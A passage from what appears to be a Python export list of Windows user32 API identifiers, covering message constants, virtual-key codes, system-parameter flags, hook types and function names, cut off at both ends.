'SPI_GETLOGICALDPIOVERRIDE', 'POINTER_FLAG_NONE', 'WM_CTLCOLORBTN',\n 'GID_ROTATE_ANGLE_TO_ARGUMENT', 'KF_DLGMODE', 'SBM_GETRANGE', 'DT_LEFT',\n 'SPI_SETMOUSECLICKLOCK', 'RDW_ERASENOW', 'WM_NCMOUSELEAVE', 'LoadMenu',\n 'SWP_NOCOPYBITS', 'MB_RETRYCANCEL', 'GetNextWindow', 'LR_VGACOLOR',\n 'POINTER_FLAG_THIRDBUTTON', 'SPI_GETNONCLIENTMETRICS', 'VK_HANJA', 'IDOK',\n 'DCX_INTERSECTUPDATE', 'WM_KEYFIRST', 'MF_INSERT', 'SKF_RCTLLATCHED',\n 'RI_MOUSE_BUTTON_4_DOWN', 'IS_POINTER_NEW_WPARAM', 'SM_CXMINIMIZED',\n 'COLOR_BTNHIGHLIGHT', 'LB_GETANCHORINDEX', 'DialogBoxIndirectA', 'GWL_ID',\n 'GET_NCHITTEST_WPARAM', 'MFS_UNCHECKED', 'WM_SYSCOMMAND', 'MB_TASKMODAL',\n 'WINSTA_READATTRIBUTES', 'UOI_FLAGS', 'MAKEWPARAM', 'WM_POINTERWHEEL',\n 'APPCOMMAND_BASS_BOOST', 'wvsprintf', 'VK_MULTIPLY', 'SM_IMMENABLED',\n 'SPI_SETPENSIDEMOVETHRESHOLD', 'DFCS_SCROLLLEFT', 'WS_EX_WINDOWEDGE',\n 'HWND_BROADCAST', 'EVENT_OBJECT_DRAGCANCEL', 'VK_OEM_CLEAR', 'UIS_SET',\n 'SPI_SETFOCUSBORDERHEIGHT', 'MOUSEEVENTF_RIGHTDOWN', 'ESB_ENABLE_BOTH',\n 'APPCOMMAND_BROWSER_STOP', 'GrayString', 'SB_PAGERIGHT', 'OIC_WARNING',\n 'MK_RBUTTON', 'SS_ETCHEDFRAME', 'SIZE_MAXSHOW', 'GC_ROLLOVER', 'HELP_KEY',\n 'STATE_SYSTEM_OFFSCREEN', 'PDC_ARRIVAL', 'EVENT_UIA_EVENTID_START',\n 'WTS_CONSOLE_CONNECT', 'EVENT_SYSTEM_SCROLLINGEND', 'RIM_TYPEMOUSE',\n 'RT_DIALOG', 'DSS_MONO', 'INDEXID_OBJECT', 'IDC_HELP', 'OCR_SIZEWE',\n 'BSF_NOHANG', 'ES_AUTOHSCROLL', 'OIC_QUES', 'RDW_NOCHILDREN', 'IDC_PIN',\n 'EVENT_OBJECT_IME_SHOW', 'STATE_SYSTEM_SELECTED', 'MSGF_MAX', 'EM_SETSEL',\n 'SKF_LCTLLOCKED', 'WM_NCPOINTERUP', 'SystemParametersInfo', 'SC_ARRANGE',\n 'VK_PROCESSKEY', 'SM_CXDLGFRAME', 'TOUCHEVENTF_PALM', 'SM_ARRANGE',\n 'WTS_REMOTE_CONNECT', 'EVENT_OBJECT_IME_CHANGE', 'LR_COLOR', 'DDL_SYSTEM',\n 'CDS_NORESET', 'OBM_OLD_ZOOM', 'MOUSEWHEEL_ROUTING_HYBRID', 'MB_TOPMOST',\n 'SPI_GETDRAGFROMMAXIMIZE', 'WM_MDIMAXIMIZE', 'WINSTA_EXITWINDOWS', 'IDNO',\n 'EM_GETMODIFY', 'SetClassLong', 'CWP_SKIPDISABLED', 'PM_QS_POSTMESSAGE',\n 'LB_GETCARETINDEX', 'STATE_SYSTEM_FOCUSED', 'SPI_SETHIGHCONTRAST', 'FALT',\n 'HTTRANSPARENT', 'ULW_EX_NORESIZE', 'SetWindowText', 'WM_CHILDACTIVATE',\n 'ESB_DISABLE_UP', 'OBM_OLD_CLOSE', 'CF_OEMTEXT', 'SC_CLOSE',\n 'SPI_SETMINIMUMHITRADIUS', 'RDW_INTERNALPAINT', 'CF_MAX', 'OBJID_ALERT',\n 'CS_BYTEALIGNCLIENT', 'VK_PACKET', 'SPI_SETSCREENREADER', 'GA_PARENT',\n 'GUI_INMOVESIZE', 'SKF_CONFIRMHOTKEY', 'HTCLOSE', 'LLKHF_EXTENDED',\n 'STATE_SYSTEM_UNAVAILABLE', 'LLMHF_LOWER_IL_INJECTED', 'SM_CYFOCUSBORDER',\n 'TIMERV_NO_COALESCING', 'VK_GAMEPAD_VIEW', 'WH_MAX', 'WM_DROPFILES',\n 'SPI_SETDOUBLECLICKTIME', 'GID_BEGIN', 'MAX_TOUCH_COUNT', 'MIM_STYLE',\n 'EWX_QUICKRESOLVE', 'WINSTA_ENUMERATE', 'DefDlgProc', 'HC_SKIP', 'UOI_IO',\n 'EM_GETPASSWORDCHAR', 'OBM_REDUCE', 'VK_SNAPSHOT', 'CHILDID_SELF',\n 'COLOR_INACTIVECAPTIONTEXT', 'ODS_CHECKED', 'OIC_SAMPLE', 'MIIM_ID',\n 'SPI_GETFONTSMOOTHING', 'DESKTOP_ENUMERATE', 'DS_CONTEXTHELP', 'DST_TEXT',\n 'EVENT_OBJECT_DRAGLEAVE', 'WH_KEYBOARD_LL', 'WM_DESTROY', 'QS_RAWINPUT',\n 'ARW_STARTRIGHT', 'OCR_UP', 'WS_EX_LEFT', 'KF_ALTDOWN', 'VK_OEM_JUMP',\n 'WM_MENUDRAG', 'SPI_SETDESKPATTERN', 'MK_CONTROL', 'LB_GETITEMDATA',\n 'APPCOMMAND_MIC_ON_OFF_TOGGLE', 'SPI_GETSCREENSAVERRUNNING', 'MB_HELP',\n 'SM_CXMINSPACING', 'VK_OEM_FJ_LOYA', 'CB_GETITEMHEIGHT', 'MF_BYPOSITION',\n 'PDC_ORIENTATION_90', 'WM_NCPOINTERDOWN', 'ARW_BOTTOMRIGHT', 'RES_ICON',\n 'APPCOMMAND_MEDIA_PREVIOUSTRACK', 'SPI_GETKEYBOARDDELAY', 'WM_MBUTTONUP',\n 'GESTUREVISUALIZATION_DOUBLETAP', 'SPI_GETFONTSMOOTHINGTYPE', 'SB_VERT',\n 'EM_EMPTYUNDOBUFFER', 'WS_EX_OVERLAPPEDWINDOW', 'LoadMenuIndirect',\n 'IS_POINTER_SECONDBUTTON_WPARAM', 'VK_HANGEUL', 'DDL_HIDDEN', 'TME_QUERY',\n 'IS_POINTER_FIRSTBUTTON_WPARAM', 'HELP_SETCONTENTS', 'MNGO_NOINTERFACE',\n 'SM_MENUDROPALIGNMENT', 'GET_DEVICE_CHANGE_LPARAM', 'OBM_CHECK', 'WM_CUT',\n 'VK_HELP', 'WM_KEYUP', 'EVENT_MIN', 'SM_CYKANJIWINDOW', 'DispatchMessage',\n 'WM_XBUTTONDBLCLK', 'SPI_SETTOOLTIPANIMATION', 'APPCOMMAND_CUT', 'PWR_OK',\n 'CBS_LOWERCASE', 'VK_OEM_BACKTAB', 'OBM_ZOOMD', 'CBS_AUTOHSCROLL',\n 'RemoveProp', 'SPI_SETLOWPOWERTIMEOUT', 'MAKEINTRESOURCEA', 'VK_CANCEL',\n 'SM_CYMINTRACK', 'VK_OEM_RESET', 'EVENT_UIA_EVENTID_END', 'VK_NUMLOCK',\n 'MAKEINTRESOURCEW', 'EVENT_OBJECT_END', 'SM_CYMAXTRACK', 'INPUT_HARDWARE',\n 'TPM_RIGHTALIGN', 'VK_BROWSER_STOP', 'WM_INITDIALOG', 'MWMO_ALERTABLE',\n 'EVENT_SYSTEM_CAPTUREEND', 'EVENT_SYSTEM_SWITCHEND', 'OBM_SIZE', 'HTHELP',\n 'EVENT_SYSTEM_MOVESIZESTART', 'MF_RIGHTJUSTIFY', 'GC_PRESSANDTAP',\n 'BS_NOTIFY', 'WM_IME_REQUEST', 'SETWALLPAPER_DEFAULT', 'MSGF_DIALOGBOX',\n 'WM_SYSCOLORCHANGE', 'WM_MDIACTIVATE', 'VK_SLEEP', 'SS_TYPEMASK', 'VK_F9',\n 'WM_TOUCH', 'ISMEX_REPLIED', 'COLOR_3DDKSHADOW', 'OCR_SIZE', 'SC_HSCROLL',\n 'TIMERV_COALESCING_MIN', 'SPI_GETPENDRAGOUTTHRESHOLD', 'SKF_RALTLATCHED',\n 'SPI_GETMOUSESPEED', 'POINTER_FLAG_SECONDBUTTON', 'GCLP_HBRBACKGROUND',\n 'DS_FIXEDSYS', 'WS_BORDER', 'DefHookProc', 'MOUSE_MOVE_RELATIVE', 'VK_F8',\n 'VK_OEM_AX', 'SPI_GETCLIENTAREAANIMATION', 'SC_TASKLIST', 'ARW_LEFT',\n 'DISP_CHANGE_BADPARAM', 'WM_MOUSEHWHEEL', 'WMSZ_BOTTOM', 'TPM_LEFTBUTTON',\n 'WM_GETDLGCODE', 'SERKF_SERIALKEYSON', 'MSGF_NEXTWINDOW', 'OCR_HAND',\n 'DEVICE_NOTIFY_WINDOW_HANDLE', 'MF_DEFAULT', 'EVENT_OBJECT_CREATE',\n 'HSHELL_APPCOMMAND', 'SPI_SETMENUFADE', 'DLGC_WANTARROWS', 'VK_XBUTTON2',\n 'VK_XBUTTON1', 'TPM_RETURNCMD', 'PBT_APMSTANDBY', 'EVENT_OBJECT_REORDER',\n 'ES_MULTILINE', 'SHOW_ICONWINDOW', 'AW_HOR_NEGATIVE', 'RID_INPUT',\n 'OBJID_CURSOR', 'GWL_USERDATA', 'SPI_SETSHOWSOUNDS', 'GetClassLongPtrW',\n 'OCR_NORMAL', 'SKF_AUDIBLEFEEDBACK', 'SM_CYVSCROLL', 'HCBT_ACTIVATE',\n 'ALERT_SYSTEM_ERROR', 'ARW_TOPLEFT', 'LBS_NOSEL', 'GetClassLongPtrA',\n 'SC_MOUSEMENU', 'WH_JOURNALRECORD', 'DESKTOP_CREATEMENU', 'ODT_STATIC',\n 'VK_GAMEPAD_LEFT_TRIGGER', 'VK_OEM_COMMA', 'STATE_SYSTEM_DEFAULT',\n 'DDL_READONLY', 'WMSZ_LEFT', 'RealGetWindowClass', 'RIDEV_EXMODEMASK',\n 'POINTER_MESSAGE_FLAG_THIRDBUTTON', 'PBT_APMOEMEVENT', 'BS_AUTOCHECKBOX',\n 'IDC_IBEAM', 'DCX_EXCLUDEUPDATE', 'CBS_DROPDOWN', 'GW_HWNDLAST', 'VK_F3',\n 'SPI_SETPENDOCKTHRESHOLD', 'MNGOF_TOPGAP', 'MIM_MENUDATA', 'BF_TOPLEFT',\n 'SKF_RWINLOCKED', 'SW_SHOWMAXIMIZED', 'LR_COPYFROMRESOURCE', 'EM_SETRECT',\n 'ODA_DRAWENTIRE', 'WH_JOURNALPLAYBACK', 'WM_NCXBUTTONDOWN', 'BF_DIAGONAL',\n 'CS_BYTEALIGNWINDOW', 'VK_NAVIGATION_ACCEPT', 'SPI_GETGRIDGRANULARITY',\n 'GIDC_ARRIVAL', 'DDL_ARCHIVE', 'COLOR_HIGHLIGHT', 'CreateWindowStation',\n 'DialogBoxParam', 'EDS_ROTATEDMODE', 'SPI_GETDRAGFULLWINDOWS', 'MB_YESNO',\n '_Inout_grows_updates_bypassable_or_z_', 'EC_USEFONTINFO', 'OBM_RGARROW',\n 'LBN_KILLFOCUS', 'SPI_SETWAITTOKILLSERVICETIMEOUT', 'ORD_LANGDRIVER',\n 'COLOR_GRADIENTACTIVECAPTION', 'DT_MODIFYSTRING', 'SPI_SETHANDHELD',\n 'WM_EXITSIZEMOVE', 'STM_GETICON', 'SB_RIGHT', 'ExitWindows', 'WM_PAINT',\n 'SKF_LSHIFTLATCHED', 'TPM_HORPOSANIMATION', 'SPI_GETMINIMIZEDMETRICS',\n 'KEYBOARD_OVERRUN_MAKE_CODE', 'WM_COMPAREITEM', 'WS_EX_RIGHT', 'SB_BOTH',\n 'EVENT_SYSTEM_CAPTURESTART', 'SPI_GETCURSORSHADOW', 'SB_PAGELEFT',\n 'APPCOMMAND_CORRECTION_LIST', 'APPCOMMAND_BROWSER_FORWARD', 'EM_CANUNDO',\n 'MSGFLTINFO_ALLOWED_HIGHER', 'SPI_SETSYSTEMLANGUAGEBAR', 'MB_YESNOCANCEL',\n 'MB_SERVICE_NOTIFICATION_NT3X', 'EVENT_SYSTEM_CONTEXTHELPEND', 'WS_CHILD',\n 'TPM_NONOTIFY', 'APPCOMMAND_SPELL_CHECK', 'KEYEVENTF_KEYUP', 'PM_REMOVE',\n 'DESKTOP_JOURNALPLAYBACK', 'IDI_QUESTION', 'SPI_SETSHOWIMEUI', 'VK_NEXT',\n 'DialogBox', 'CDS_GLOBAL', 'LB_INSERTSTRING', 'WM_LBUTTONUP', 'BM_CLICK',\n 'EM_GETFIRSTVISIBLELINE', 'DWLP_DLGPROC', 'HSHELL_WINDOWACTIVATED',\n 'RT_ICON', 'APPCOMMAND_LAUNCH_MAIL', 'MND_ENDMENU', 'DFCS_CAPTIONRESTORE',\n 'SPI_SETMOUSETRAILS', 'WM_KEYLAST', 'VK_MEDIA_NEXT_TRACK', 'HWND_TOPMOST',\n 'RI_MOUSE_MIDDLE_BUTTON_DOWN', 'VK_PRIOR', 'APPCOMMAND_MEDIA_PLAY_PAUSE',\n 'IDIGNORE', 'SWP_DEFERERASE', 'VK_BACK', 'ATF_TIMEOUTON', 'DFC_SCROLL',\n 'SOUND_SYSTEM_MENUPOPUP', 'ISMEX_CALLBACK', 'SPI_GETCLEARTYPE', 'VK_F2',\n 'HSHELL_WINDOWREPLACING', 'SB_ENDSCROLL', 'VK_GAMEPAD_A', 'VK_GAMEPAD_B',\n 'SBM_GETSCROLLINFO', 'VK_F1', 'WSF_VISIBLE', 'VK_F6', 'ES_NOHIDESEL',\n 'VK_F4', 'SPI_GETHUNGAPPTIMEOUT', 'EM_GETLINECOUNT', 'BS_3STATE', 'VK_UP',\n 'VK_GAMEPAD_X', 'VK_GAMEPAD_Y', 'SPI_SETFONTSMOOTHINGORIENTATION',\n 'WS_EX_NOREDIRECTIONBITMAP', 'MKF_REPLACENUMBERS', 'PW_CLIENTONLY',\n 'CBS_OWNERDRAWVARIABLE', 'BSF_POSTMESSAGE', 'SS_REALSIZEIMAGE', 'DC_TEXT',\n 'SPI_GETPENARBITRATIONTYPE', 'WM_CHARTOITEM', 'WVR_REDRAW', 'AW_CENTER',\n 'SB_LINERIGHT', 'MF_USECHECKBITMAPS', 'GC_ROTATE', 'MNC_CLOSE', 'BS_LEFT',\n 'POINTER_MESSAGE_FLAG_NEW', 'MONITOR_DEFAULTTONULL', 'ODS_DISABLED',\n 'MF_UNCHECKED', 'CreateDialogA', 'PWR_SUSPENDRESUME', 'CB_SETEDITSEL',\n 'FLASHW_CAPTION', 'BN_PAINT', 'HCF_INDICATOR', 'DT_RIGHT', 'GF_INERTIA',\n 'DFCS_SCROLLSIZEGRIP', 'SPI_SETUIEFFECTS', 'SPI_SETDRAGWIDTH', 'BF_RIGHT',\n 'WM_ENTERIDLE', 'SPI_SETKEYBOARDSPEED', 'EDGE_SUNKEN', 'HCBT_CREATEWND',\n 'SPI_GETWINDOWSEXTENSION', 'STATE_SYSTEM_LINKED', 'LB_GETITEMHEIGHT',\n 'EVENT_SYSTEM_SWITCHSTART', 'EIMES_CANCELCOMPSTRINFOCUS', 'ODS_GRAYED',\n 'SPI_GETFILTERKEYS', 'EM_CHARFROMPOS', 'WM_POWERBROADCAST', 'SS_CENTER',\n 'VK_OEM_CUSEL', 'SPI_SETFILTERKEYS', 'FLASHW_STOP', 'SPI_SETDRAGHEIGHT',\n 'EC_LEFTMARGIN', 'TOUCHPREDICTIONPARAMETERS_DEFAULT_SAMPLETIME', 'ARW_UP',\n 'SPI_SETLOWPOWERACTIVE', 'SPI_SETMOUSESONAR', 'VK_RCONTROL',\n 'RI_MOUSE_BUTTON_3_DOWN', 'EC_RIGHTMARGIN', 'RIM_INPUTSINK', 'VK_NUMPAD9',\n 'VK_GAMEPAD_RIGHT_THUMBSTICK_BUTTON', 'SPI_GETPENDOCKTHRESHOLD', 'HTMENU',\n 'WPF_SETMINPOSITION', 'SM_CXDOUBLECLK', 'SPI_GETMENUDROPALIGNMENT',\n 'VK_NUMPAD8', 'RI_KEY_TERMSRV_SET_LED', 'VK_NUMPAD3', 'VK_NUMPAD2',\n 'VK_NUMPAD1', 'VK_NUMPAD0', 'VK_NUMPAD7', 'VK_NUMPAD6', 'VK_NUMPAD5',\n 'VK_NUMPAD4', 'BN_DBLCLK', 'IDHOT_SNAPDESKTOP', 'LB_GETITEMRECT', 'KF_UP',\n 'HELP_HELPONHELP', 'HSHELL_ACTIVATESHELLWINDOW', 'SPI_GETMESSAGEDURATION',\n 'MB_USERICON', 'VK_OEM_MINUS', 'EM_SETRECTNP', 'PWR_SUSPENDREQUEST',\n 'CS_OWNDC', 'IDC_HAND', 'WM_ASKCBFORMATNAME', 'WM_COMMAND', 'HELP_INDEX',\n 'STM_SETIMAGE', 'COLOR_WINDOWTEXT', 'COLOR_INACTIVEBORDER', 'BS_BOTTOM',\n 'OBM_RGARROWI', 'HELP_CONTEXT', 'POINTER_FLAG_INCONTACT', 'OBM_RGARROWD',\n 'VK_GAMEPAD_LEFT_THUMBSTICK_RIGHT', 'GetTabbedTextExtent', 'KLF_REORDER',\n 'SPI_GETMINIMUMHITRADIUS', 'DialogBoxIndirectParam', 'WS_EX_CONTEXTHELP',\n 'DlgDirSelectComboBoxEx', 'MOUSEEVENTF_MIDDLEDOWN', 'PEN_FLAG_BARREL',\n 'FE_FONTSMOOTHINGORIENTATIONRGB', 'DI_COMPAT', 'BN_CLICKED', 'DrawText',\n 'MOUSEEVENTF_WHEEL', 'SPI_GETWAITTOKILLSERVICETIMEOUT', 'BS_RIGHT',\n 'MFT_MENUBREAK', 'SPI_GETHANDEDNESS', 'MF_MENUBREAK', 'DC_ACTIVE',\n 'APPCOMMAND_BROWSER_BACKWARD', 'DS_CONTROL', 'ODS_INACTIVE', 'EM_GETSEL',\n 'EVENT_SYSTEM_DIALOGSTART', 'SPI_SETICONTITLEWRAP', 'WM_DESTROYCLIPBOARD',\n 'WS_EX_APPWINDOW', 'BSM_ALLCOMPONENTS', 'CopyCursor', 'SM_CXMENUCHECK',\n 'WM_MEASUREITEM', 'APPCOMMAND_MEDIA_RECORD', 'MB_CANCELTRYCONTINUE',\n 'LoadAccelerators', 'SW_SMOOTHSCROLL', 'DT_HIDEPREFIX', 'BF_FLAT',\n 'TOUCHINPUTMASKF_EXTRAINFO', 'RI_KEY_TERMSRV_SHADOW', 'BST_INDETERMINATE',\n 'WM_POINTERCAPTURECHANGED', 'EVENT_OBJECT_CLOAKED', 'RIDEV_EXCLUDE',\n 'ChangeDisplaySettings', 'TOUCHEVENTF_PEN', 'WVR_VREDRAW', 'MWMO_WAITALL',\n 'SB_THUMBTRACK', 'POINTER_MESSAGE_FLAG_CANCELED', 'WM_MDIRESTORE',\n 'WHEEL_DELTA', 'WH_HARDWARE', 'SM_MOUSEHORIZONTALWHEELPRESENT', 'DT_TOP',\n 'LoadCursor', 'WS_SIZEBOX', 'WM_NCMBUTTONUP', 'SS_NOPREFIX', 'DT_TABSTOP',\n 'LBS_MULTIPLESEL', 'IsCharAlpha', 'TKF_HOTKEYSOUND', 'LR_LOADMAP3DCOLORS',\n 'SM_CONVERTIBLESLATEMODE', 'HBMMENU_POPUP_MINIMIZE', 'WM_IME_SELECT',\n 'EVENT_SYSTEM_MOVESIZEEND', 'GUI_INMENUMODE', 'WM_IME_KEYUP', 'DS_CENTER',\n 'SPI_SETHANDEDNESS', 'VK_LAUNCH_APP1', 'IDCONTINUE', 'VK_LAUNCH_APP2',\n 'GW_HWNDPREV', 'GET_DEVICE_LPARAM', 'SIZE_RESTORED', 'MFT_BITMAP',\n 'InsertMenuItem', 'WMSZ_BOTTOMLEFT', 'SPI_SETDOCKMOVING', 'LR_SHARED',\n 'EVENT_OBJECT_HIDE', 'TPM_BOTTOMALIGN', 'SPI_GETSCREENSAVETIMEOUT',\n 'SIZE_MINIMIZED', 'DialogBoxA', 'VK_OEM_FJ_ROYA', 'WM_POINTERHWHEEL',\n 'ODS_COMBOBOXEDIT', 'PBT_APMQUERYSUSPENDFAILED', 'BM_SETDONTCLICK',\n 'DDL_DRIVES', 'WM_NCPOINTERUPDATE', 'MAKEINTRESOURCE', 'CS_DBLCLKS',\n 'PM_QS_SENDMESSAGE', 'WM_THEMECHANGED', 'DEVICE_NOTIFY_SERVICE_HANDLE',\n 'WM_KILLFOCUS', 'HKL_NEXT', 'HCBT_MOVESIZE', 'STATE_SYSTEM_CHECKED',\n 'QS_MOUSE', 'SPI_GETUIEFFECTS', 'WH_CALLWNDPROC', 'TKF_TOGGLEKEYSON',\n 'GCLP_MENUNAME', 'SM_CXMIN', 'TPM_LEFTALIGN', 'POINTTOPOINTS', 'VK_LWIN',\n 'RegisterClassEx', 'EM_SETMODIFY', 'MB_SETFOREGROUND', 'SKF_LALTLATCHED',\n 'EVENT_CONSOLE_CARET', 'SS_ENDELLIPSIS', 'EDGE_BUMP', 'CreateDesktopEx',\n 'HC_SYSMODALON', 'WM_QUERYUISTATE', 'LR_COPYRETURNORG', 'SC_PREVWINDOW',\n 'SPI_GETMOUSEHOVERTIME', 'CS_SAVEBITS', 'MF_MOUSESELECT', 'CreateWindow',\n 'VK_ESCAPE', 'MOUSE_ATTRIBUTES_CHANGED', 'GetWindowText', 'EM_SETHANDLE',\n 'SMTO_BLOCK', 'SPI_GETDROPSHADOW', 'ISMEX_NOTIFY', 'COLOR_BTNHILIGHT',\n 'BSF_IGNORECURRENTTASK', 'CONSOLE_CARET_VISIBLE', 'KLF_NOTELLSHELL',\n 'SendDlgItemMessage', 'WHEEL_PAGESCROLL', 'STN_DBLCLK', 'MapVirtualKeyEx',\n 'VK_PAUSE', 'LSFW_LOCK', 'WM_SETTINGCHANGE', 'SM_CXSMICON', 'SS_RIGHT',\n 'SPI_GETMENURECT', 'LB_DELETESTRING', 'EVENT_SYSTEM_SWITCHER_CANCELLED',\n 'HBMMENU_SYSTEM', 'WS_ICONIC', 'SPI_GETWHEELSCROLLCHARS', 'WM_KEYDOWN',\n 'DFCS_SCROLLRIGHT', 'SBS_SIZEBOXTOPLEFTALIGN', 'HELP_QUIT', 'WM_COPYDATA',\n 'DFCS_SCROLLSIZEGRIPRIGHT', 'WM_WININICHANGE', 'VK_PRINT', 'FNOINVERT',\n 'WM_WINDOWPOSCHANGING', 'OBJID_TITLEBAR', 'CB_GETITEMDATA', 'DC_INBUTTON',\n 'CWP_SKIPTRANSPARENT', 'FAPPCOMMAND_KEY', 'PENVISUALIZATION_CURSOR',\n 'ATF_ONOFFFEEDBACK', 'RT_VXD', 'SPI_SETFOREGROUNDLOCKTIMEOUT', 'OIC_HAND',\n 'WTS_SESSION_TERMINATE', 'PEN_FLAG_INVERTED', 'SPI_GETPOWEROFFACTIVE',\n 'SW_SHOWNA', 'VK_RETURN', 'WS_ACTIVECAPTION', 'WM_RBUTTONDBLCLK', 'IDYES',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_DELTA', 'WINSTA_ACCESSCLIPBOARD',\n 'WM_POINTERDOWN', 'IDH_MISSING_CONTEXT', 'IS_POINTER_CANCELED_WPARAM',\n 'CTLCOLOR_SCROLLBAR', 'BDR_RAISEDINNER', 'HAS_POINTER_CONFIDENCE_WPARAM',\n 'ODA_FOCUS', 'IDC_NO', 'IS_POINTER_PRIMARY_WPARAM', 'SPI_GETDOCKMOVING',\n 'WM_QUIT', 'WM_NOTIFY', 'HCBT_QS', 'MNC_IGNORE', 'VK_HANGUL', 'HTCLIENT',\n 'WM_HANDHELDLAST', 'DISP_CHANGE_BADFLAGS', 'SetWindowLong', 'VK_EXECUTE',\n 'IS_POINTER_FOURTHBUTTON_WPARAM', 'CB_GETCOMBOBOXINFO', 'LBN_SELCANCEL',\n 'KEYEVENTF_EXTENDEDKEY', 'WM_TABLET_FIRST', 'WH_MSGFILTER', 'SSWF_NONE',\n 'SKF_LWINLOCKED', 'ARW_STARTTOP', 'GCL_HBRBACKGROUND', 'CBN_DROPDOWN',\n 'PDC_ORIENTATION_0', 'ICON_BIG', 'HTBOTTOMLEFT', 'CB_SETDROPPEDWIDTH',\n 'VK_CONVERT', 'SPI_SETSCREENSAVESECURE', 'MIIM_BITMAP', 'WM_RBUTTONUP',\n 'VK_BROWSER_FORWARD', 'TranslateAccelerator', 'STATE_SYSTEM_SELFVOICING',\n 'APPCOMMAND_MICROPHONE_VOLUME_MUTE', 'CF_METAFILEPICT', 'ES_CENTER',\n 'GetClassInfo', 'DST_COMPLEX', 'SPI_GETCONTACTVISUALIZATION', 'SM_SECURE',\n 'SPI_GETSYSTEMLANGUAGEBAR', 'WM_NCLBUTTONUP', 'PW_RENDERFULLCONTENT',\n 'MessageBoxEx', 'RT_ANIICON', 'DialogBoxW', 'SPI_GETBORDER', 'IMAGE_ICON',\n 'SM_CXSCREEN', 'BS_PUSHLIKE', 'ESB_DISABLE_DOWN', 'OCR_SIZENESW', 'VK_F7',\n 'SPI_SETKEYBOARDDELAY', 'HSHELL_LANGUAGE', 'WM_POINTERROUTEDTO', 'SB_TOP',\n 'WH_MAXHOOK', 'HELP_CONTEXTMENU', 'EVENT_OBJECT_TEXTSELECTIONCHANGED',\n 'IDC_ICON', 'FLASHW_ALL', 'SW_MAXIMIZE', 'SPI_SETHOTTRACKING', 'GCW_ATOM',\n 'CF_DSPTEXT', 'APPCOMMAND_BROWSER_HOME', 'CF_DSPENHMETAFILE', 'SS_LEFT',\n 'WS_EX_ACCEPTFILES', 'LB_SETCARETINDEX', 'TOUCH_FEEDBACK_NONE', 'CF_TEXT',\n 'RDW_VALIDATE', 'CharUpperBuff', 'TOUCH_HIT_TESTING_PROXIMITY_CLOSEST',\n 'SPI_GETICONTITLELOGFONT', 'DFC_CAPTION', 'SW_SHOWNORMAL', 'DI_IMAGE',\n 'BSM_ALLDESKTOPS', 'SS_REALSIZECONTROL', 'WM_DPICHANGED_BEFOREPARENT',\n 'SKF_LALTLOCKED', 'PEN_MASK_PRESSURE', 'ES_OEMCONVERT', 'COLOR_HOTLIGHT',\n 'MB_DEFMASK', 'MIIM_TYPE', 'EN_UPDATE', 'EVENT_CONSOLE_UPDATE_SIMPLE',\n 'GetUserObjectInformation', 'SPI_GETKEYBOARDPREF', 'SWP_NOSENDCHANGING',\n 'SPI_GETMOUSESIDEMOVETHRESHOLD', 'INPUTLANGCHANGE_FORWARD', 'WS_TABSTOP',\n 'PBT_APMRESUMEAUTOMATIC', 'WM_NULL', 'SPI_GETSCREENSAVESECURE', 'VK_MENU',\n 'LB_SETITEMDATA', 'VK_SELECT', 'PRF_CLIENT', 'EM_POSFROMCHAR', 'CDS_TEST',\n 'WM_UNINITMENUPOPUP', 'ALERT_SYSTEM_INFORMATIONAL', 'BN_KILLFOCUS',\n 'SPI_SETSELECTIONFADE', 'MOUSEEVENTF_HWHEEL', 'LB_FINDSTRING', 'MOD_ALT',\n 'EVENT_OBJECT_SELECTIONADD', 'WS_EX_STATICEDGE', 'MWMO_INPUTAVAILABLE',\n 'SM_CXFULLSCREEN', 'COLOR_INFOTEXT', 'SC_SCREENSAVE', 'OBJID_SIZEGRIP',\n 'MFS_UNHILITE', 'PRF_CHILDREN', 'VK_LAUNCH_MAIL', 'WM_MOVING', 'XBUTTON1',\n 'EM_GETMARGINS', 'HELP_SETWINPOS', 'LB_MULTIPLEADDSTRING', 'OBM_LFARROW',\n 'COLOR_WINDOWFRAME', 'GESTUREVISUALIZATION_TAP', 'RI_KEY_BREAK', 'CB_ERR',\n 'RI_MOUSE_MIDDLE_BUTTON_UP', 'SPI_GETFOREGROUNDLOCKTIMEOUT', 'XBUTTON2',\n 'SKF_HOTKEYSOUND', 'CharToOemBuff', 'MOUSEWHEEL_ROUTING_MOUSE_POS',\n 'SW_SHOWMINIMIZED', 'WS_EX_LTRREADING', 'SPI_SETMOUSEKEYS', 'CBN_CLOSEUP',\n 'WTS_SESSION_LOCK', 'MB_DEFAULT_DESKTOP_ONLY', 'ARW_TOPRIGHT', 'GID_ZOOM',\n 'RI_MOUSE_BUTTON_3_UP', 'GetClassName', 'MAPVK_VK_TO_CHAR', 'DS_ABSALIGN',\n 'WM_QUERYOPEN', 'SM_CYCAPTION', 'GetDlgItemText', 'RI_MOUSE_BUTTON_4_UP',\n 'SPIF_SENDCHANGE', 'BroadcastSystemMessage', 'UISF_HIDEFOCUS', 'ES_LEFT',\n 'TabbedTextOut', 'SPI_GETGESTUREVISUALIZATION', 'MB_RTLREADING', 'WINVER',\n 'BroadcastSystemMessageEx', 'PDC_ORIENTATION_180', 'VK_NONCONVERT',\n 'SPI_SETCOMBOBOXANIMATION', 'EVENT_OBJECT_UNCLOAKED', 'SS_BLACKRECT',\n 'DESKTOP_WRITEOBJECTS', 'GetIconInfoEx', 'SM_CLEANBOOT', 'CreateDialogW',\n 'DLGC_DEFPUSHBUTTON', 'GET_DEVICE_CHANGE_WPARAM', 'SPI_GETSOUNDSENTRY',\n 'WM_CAPTURECHANGED', 'KEYEVENTF_UNICODE', 'PEN_FLAG_ERASER', 'MIM_HELPID',\n 'CreateDialogIndirect', 'DLGC_WANTALLKEYS', 'VK_SEPARATOR', 'BF_TOPRIGHT',\n 'WH_SYSMSGFILTER', 'WM_MOUSEWHEEL', 'WM_FONTCHANGE', 'WM_STYLECHANGED',\n 'WM_MENUSELECT', 'IDI_INFORMATION', 'SPI_GETSNAPTODEFBUTTON', 'OCR_IBEAM',\n 'SPI_SETCURSORSHADOW', 'AW_HOR_POSITIVE', 'MB_ICONINFORMATION', 'RT_HTML',\n 'IDH_NO_HELP', 'OBM_DNARROW', 'COLOR_3DLIGHT', 'SPI_GETFASTTASKSWITCH',\n 'WM_INPUT_DEVICE_CHANGE', 'SPI_SETAUDIODESCRIPTION', 'SPI_GETHOTTRACKING',\n 'VK_NAVIGATION_CANCEL', 'LB_FINDSTRINGEXACT', 'WM_MENUCOMMAND', 'RT_FONT',\n 'RT_ACCELERATOR', 'CallWindowProc', 'SSF_SOUNDSENTRYON', 